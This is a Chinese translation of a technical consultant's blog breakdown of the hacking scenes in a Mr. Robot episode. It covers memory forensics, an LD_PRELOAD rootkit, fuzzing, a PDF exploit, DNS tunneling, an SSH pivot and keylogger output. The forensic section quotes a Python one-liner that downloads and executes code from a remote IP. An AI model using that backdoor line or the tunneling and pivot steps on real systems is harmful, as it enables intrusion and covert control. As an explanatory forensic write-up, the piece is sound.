万网极研社我爱编程

eps3.8_stage3.torrent

2017-12-11  本文已影响583人  cnRay

各位好。我是《黑客军团》的技术顾问,以及Tanium首席安全架构师——Ryan Kazanciyan。自从第二季的下半季开始,我就一直在与Kor Adana——编剧,制片人,ARG幕后策划者,以及《黑客军团》团队的其他成员一起工作。在整个第三季中,我将写一些关于剧中出现的黑客技术文章,解释他们是如何联系到一起,以及他们在现实生活中的基础。

剧透!这篇文章讨论了第三季第9集的事件。

欢迎回来!上周出色的但没有黑客相关场景那集给了我一个休息的机会,顺便回想一下Kor和我为本季的剩下剧情设计笔记。这是一个明智的举动,因为我已经忘记了在本季中为“eps3.8_stage3.torrent”这集所做的大量技术场景工作。准确地说,多达20页的笔记,7个视频剪辑,10多张截图和5个VM虚拟机快照。

在本周的帖子中,我想提供一个Elliot如何使Dark Army妥协的完整演示,包括我们的信息安全方面专家观众(以及那些渴望了解更多细节的人)想了解的所有血淋淋的细节。攻击序列从内存取证到Fuzz测试和exp开发,rootkit和隐蔽的指挥和控制。 我们不打算为了剧情复杂度而使事情变得复杂。 拥有Dark Army的系统访问权限不应该是一件容易的事,即使对于Elliot来说。

我们的标准现实主义免责声明是适用的。我们必须采用创造性的许可,并适应故事所指导的浓缩的时间框架。整个攻击只在屏幕上的几分钟内就结束了。在表演的世界中,这些事件发生了数小时。在现实世界中,可能是几天或几周。但每一步背后的过程和细节都是真实的。

寻找一个rootkit

Elliot的计划始于一个危险的举动:他必须刻意地把自己置于危险之中。他与Grant会面,讨论第三阶段,表面上涉及到黑客攻击E货币对E公司造成的一次打击。事实上,他希望Dark Army特工会没收他的笔记本电脑,并安装恶意软件,试图监视他。这为Elliot提供了一个机会,让他扭转局势,攻击Dark Army他们自己的系统。

会面如期举行,Elliot活着把笔记本完整地带回了家。搜索开始:他需要确认他的系统被感染了,找到恶意软件,并评估它的能力。这个恶意软件记录击键吗?偷文件?与它交流的C2地址是多少?

正如我在之前的帖子中所提到的,在安全领域,我花了更多的时间在事件响应和违反调查上,而不是其他方面。所以我决定全力以赴,通过Elliot来引导我内心的书呆子,让他炫耀一些取证技巧。

当我们第一次切到他的屏幕时,我们看到他一直在使用Volatility Framework,这是最广泛使用的内存取证工具。此时,Elliot已经将他受感染的系统内存转储到一个名为“out.mem”的文件中并将其移动到一个干净的分析系统。现在,他正在进行一系列的分析,以搜索Dark Army的恶意软件。

为什么Elliot依赖内存取证而不是其他工具或技术?Dark Army可能已经用rootkit感染列了他的系统,有效地将他们的恶意软件从操作系统和其他软件中隐藏起来。内存分析可以为系统提供一个低级的、纯粹的证据视图。内存中的工件还可以提供对最近活动的洞察,包括恶意软件的使用,这些可能在其他地方不会被保存。

Elliot使用Volatility来寻找内存中存在一个rootkit的证据  

所有这些截图都是基于对我创建的Linux系统的真实内存镜像分析,而且这个系统被一个rootkit感染了。让我们来详细解释一遍每个命令。

vol.py -f out.mem --profile=kali linux_find_file -F /etc/ld.so.preload

第一个参数--profile kali告诉Volatility如何解析内存快照; 比如来自哪种类型的系统。“kali”不是一个开箱即用的配置文件;在这个步骤之前,Elliot会经历从源系统产生它的过程。该命令的第二部分linux_find_file -F /etc/ld.so.preload,搜索已经在内存中缓存的文件。输出的0xffff880028c740c0是一个inode值——描述文件位于磁盘上的地址。

vol.py -f out.mem --profile=kali linux_find_file -i 0xffff880028c740c0 -O ld.so.preload

同样的linux_find_file插件,但是不同的用法。这些命令行参数告诉Volatility将内存缓存文件的内容转储到指定的inode地址。“-O”指定转储文件的输出文件名:ld.so.preload。我们马上就会明白这个文件的意思。

cat ld.so.preload

显示上一步从内存中转储的ld.so.preload内容。 该文件是单行的:/usr/local/lib/libhd.so。 Linux中的“.so”文件与Windows中的DLL类似——它是一个包含可由进程加载和使用的代码库。

vol.py -f out.mem --profile=kali linux_proc_maps | grep libhd.so

linux_proc_mapsplugin显示正在运行的进程的内存空间的详细信息,包括对他们使用的共享库的引用。这个命令的输出是通过管道传递给grep libhd.so。简而言之,Elliot正在寻找使用libhd.so中的代码的进程。该命令为进程ID 39238(Python的一个实例)生成了两个命中。

让我们暂停一下——为什么Elliot首先对文件/etc/ld.so.preload感兴趣? 他正在寻找调试功能LD_PRELOAD的证据,许多Linux平台的rootkit用来隐藏自己的踪迹。LD_PRELOAD允许你指定一个在任何其他库之前加载的“.so”文件。 如果该库实现了任何功能(比如用于列出进程或网络连接的功能),它将覆盖标准系统库中的其他功能。

Ok,libhd.so就是那个rootkit。但是它的目的是隐藏什么? 最后两个Volatility命令显示了更多信息: 

vol.py -f out.mem --profile=kali --pid=39238 linux_psaux

列出了前面命令识别的Python进程为PID 39238的基本细节。它的参数显然是可疑的:

Volatility进程列表插件的输出“linux_psaux”揭示了一个基于Python的后门程序

python -c import urllib;exec

urllib.urlopen("http://192.251.68.228/index").read()

这是一个在Python进程中运行的第二阶段后门,这个进程隐藏在rootkit中。一行指令,传递到命令行,下载并执行在指定URL上托管的任何Python代码。当我在我的vm中构建这个场景时,我使用Pupy生成了一个基于python的后门。

最后一个Volatility命令:

vol.py -f out.mem --profile=kali --pid=39238 -D dump/ linux_procdump

这会将后门进程的内存转储到一个目录,从而允许Elliot对其行为和功能进行进一步的分析。

精心开发一个漏洞利用程序

下一次我们切到Elliot的屏幕时,我们及时地跳过了,可以推断出他已经完成了在他系统上的Dark Army后门审查。在其他功能中,恶意软件监视他的活动,并将新创建的文件传输到他们C2服务器中的一个。

当富有经验的攻击组织从他们的受害者那里窃取大量数据时,他们通常会有一个后端来自动化收集和索引过程。但Elliot是一个首要目标。我们有理由推断,一个人类分析师将被指派去审查从他的系统中窃取的任何有趣的文件。这让Elliot有机会植入一份恶意的PDF文件,并等待一名Dark Army操作人员打开它。

Elliot可能从与Dark Army之前的接触中获得一些经验,但他无法确保他的受害者可能会使用哪种PDF查看器。为了最大化成功的几率,他不得不将多个漏洞利用程序捆绑在一起——其中包括一些未被修复的0day。这些可能需要几天或几周的时间,即使他有大量的漏洞和先前的研究来开始他的努力。为了不超出剧情的内容限制,我们不得不采用一些创造性的许可,并将工作时间减少到几个小时。

任何时候,我都想确保我们捕获了漏洞发现过程中的精确元素。首先要找到一个可以被用来执行恶意代码的bug。

漏洞研究工具: afl-fuzz 和 gdb

这张截图包括两个窗口:后台窗口的American Fuzzy Lop(afl-fuzz) ,前台窗口的GNU debugger(gdb) 。Afl-fuzz是一个“模糊测试器”——一个自动生成大量无效数据的工具,在应用程序的输入中运行它,并监视崩溃和其他错误信息。 除了因其强大的功能受到漏洞猎人的欢迎之外,afl-fuzz看起来真的很酷(尤其是对于控制台应用程序),所以我认为它十分适合出现在这次剧情中。 

注意窗口顶部的文本:american fuzzy lop 1.83b(evince)。evince是正在被fuzz的应用程序的标题,它是许多Linux发行版的默认PDF查看器。这告诉我们,Elliot计划将他的漏洞利用程序嵌入到一个文档文件中。

afl-fuzz的原始演示截图

模糊测试器可能会识别出几十个崩溃;下一步是评估它们中的哪一个可能会导致一个可利用的漏洞。这是前台窗口中gdb调试器发挥作用的地方。从提示看,我们可以看到Elliot使用了一个叫做“gdp-peda”的插件,它为开发漏洞利用程序提供了有用的功能。

他首先使用gdb的“run”命令来重放一个被afl-fuzz标识的崩溃场景:

gdb报告了一个分段错误:

在载入一个由afl-fuzz生成的格式错误输入后,evince出现分段错误  

这个bug可以利用吗?Elliot将进一步分析,以检查在崩溃发生时的系统状态。在我的原始演示中,我设计了许多他正在使用额外gdb命令的画面。由于时间关系,这些画面被剪掉了:

原始演示:Elliot正在用gdb-peda做一些额外的崩溃分析

对于记录来说,我并没有发现evince中有任何可利用的漏洞。afl-fuzz和gdb的画面都是基于这些工具的真实使用,但是我选择(并重新命名)另一个存在许多崩溃漏洞的二进制文件作为目标。

下一个画面是在另一个跳转提前之后。Elliot正在编写基于python的漏洞利用代码,该代码利用了他从模糊测试中发现的一个bug。这个窗口包含了shellcode,以及一个用于携带有效负载的PDF文件名的引用:“ecoin_vuln_notes.pdf”。

Elliot为evince开发的漏洞利用程序中的shellcode

Elliot在完成漏洞利用程序并加入任何需要传播的恶意软件后,可以将该文件复制回受感染的系统。 那么这只是一个等待Dark Army上钩的问题。

黑回去(with tunnels in tunnels)

一名负责审查收件箱被盗文件这种烦闷工作的Dark Army操作人员,打开了Elliot的PDF。 “evince”查看器启动,经过一段时间后,显示文件——一个Ecoin贷款的普通广告。毫无戒心的他关闭了文档并进行查看其它文件。 当然,这足以触发Elliot的漏洞利用程序,并发起攻击的第一阶段。

一名Dark Army操作人员上钩并打开了Elliot的PDF

在后台窗口中,我们看到了部分Dark Army的基于网络的控制面板。这个网站是Elliot的最终目标:通过正确的访问权限,它将提供监控和管理全世界所有受感染系统的能力。当然,这个网站并没有运行在互联网上——而是运行在Dark Army的私人网络上。Elliot需要通过操作人员的感染系统进行隧道挖掘,并最终窃取他的登录凭证。

我希望Elliot最初的危害是建立一个隐蔽的命令和控制通道,可以绕过典型的防火墙规则。 我最终围绕一个叫做“iodine”的开源工具设计了接下来的几个镜头,它提供通过DNS传输IPv4流量的能力。 这建立了从被感染的操作系统回到Elliot的控制服务器的通信信道。

一段时间后,我们再一次切换到Elliot的屏幕。期间,Elliot利用他在操作员系统上的跳板,配置iodine并窃取了SSH密钥,还安装了额外的恶意软件。

Elliot连接到了Dark Army的受感染系统

左边的窗口显示了Elliot在设置DNS隧道的接收端,并给他的服务器分配了一个不可路由的IPv4地址,以便在隧道中使用。

root@kali:~# iodined -f 172.17.0.1 u1rbr0uz.net

Enter password:

Opened dns0

Setting IP of dns0 to 172.17.0.1

Setting MTU of dns0 to 1130

Opened IPv4 UDP socket

Listening to dns for domain test.com

右边的窗口显示了Elliot在隧道内使用使用之前窃取到的SSH密钥,用SSH连接到了受害者系统自己的地址,

root@kali:~# ssh garyhost@172.17.0.2 -q -C -D 22381

Welcome to Ubuntu Kylin 14.04.3 LTS (GNU/Linux 3.19.0–25-generic i686)

SSH选项“-D 22381”,该选项通过连接设置一个SOCKS代理绑定到本地22381端口。Elliot现在可以配置浏览器使用该代理端点,并通过Dark Army运营商的系统路由他的网络访问。这是一个疯狂的套娃隧道:HTTP通过iodine代理SSH后又代理DNS。它确实有效(我在我的实验室里测试过),虽然速度很慢。

有了这种连接,Elliot就有能力访问Dark Army的私人网络基础设施。但他仍然需要一个URL、用户名和密码登录到控制面板。

Elliot攻击的第一阶段——没有在剧中显示——在“garyhost”上放下了一个击键记录器。 在下一幕中,我们看到Elliot在搜索到目前为止所捕获的数据。

Elliot在键盘记录器输出文件中搜索。ARG迷也许想试试连接到这个IP......

Elliot把三个命令连在了一起

cat /dev/nu11

显示键盘记录器输出文件的内容,这个文件伪装成合法的Unix设备“/dev/null”(注意数字是1而不是字母'l')。

sed 's/\[ENTR\]/&\n/g'

当键盘记录器记录“[ENTR]”键时,解析输出以产生新的一行。 这只是为了便于阅读和分析。

grep -C 1 -i garyhost

搜索字符串“garyhost”——Dark Army操作人员的用户名,并在任何匹配项下返回一行。Elliot试图以连续的顺序找到一个地址、用户名和密码。他得到一个成功的组合:

192.251.68.236[ENTR]

garyhost[ENTR]

huntr[BS]er3[BS]2[ENTR]

键盘记录器序列中的“[BS]”代表退格——所以Gary的密码是“hunter2”。 看来Dark Army的内部Web应用程序的登录凭据安全性有待提高(或使用双因素认证)。

Elliot登录成功。密码是对的。他现在拥有了Dark Army——或者至少是他们基础设施的关键部分。通过访问他们基于网络的控制面板,他可以看到在全球范围内他们黑客行为的真实规模和范围。

Dark Army主控制面板的原始演示

记下地图左侧列出的组织。Dark Army显然很忙。其中许多是政府机构和非营利组织,这些机构和非营利组织已经遭到了美【防】国【防】国【和】家【谐】黑客和其他威胁组织的实际危害。

安全研究员可能会认出,我们的设计深受“Beta Bot”恶意软件控制面板的启发,如下所示:

“Beta Bot”僵尸网络——基于Web的控制面板

许多命令和控制框架——特别是那些用来管理一些世界上最大的僵尸网络的——具有令人惊讶的精心设计的用户界面!

如果你已经做到了这一点,你可能会注意到与Trenton的电子邮件,Romero的键盘记录器或FBI Sentinel有关的任何事情。 在第三季即将结束的时候,我得告诉你们,还有很多秘密和黑客技术。 我将在下周回来,在最后一篇“《黑客军团》镜头拆解——还原真实的场景”中公开这些秘密。

原文地址:https://medium.com/@ryankazanciyan/mr-robot-disassembled-eps3-8-stage3-torrent-8b80e14fc6fb

Note:

今天没有单词或者句子推荐,祝大家周末轻松过四六级!加油!加油!加油!

【偷偷告诉你,四六级我是裸考过的哦:)哈哈】

文中的彩蛋:https://yd9xldsr.bxjyb2jvda.net/  你们自己玩吧,有技术支持需要可以在评论区回复。

译者最近忙项目和期末考试,不出意外的话,之前缺的以及下一篇“《黑客军团》镜头拆解——还原真实的场景”文章得在1月份更新啦。如果你喜欢我的翻译,能否点个赞支持一下,没准会有奇迹出现^_^

上一篇下一篇

猜你喜欢

热点阅读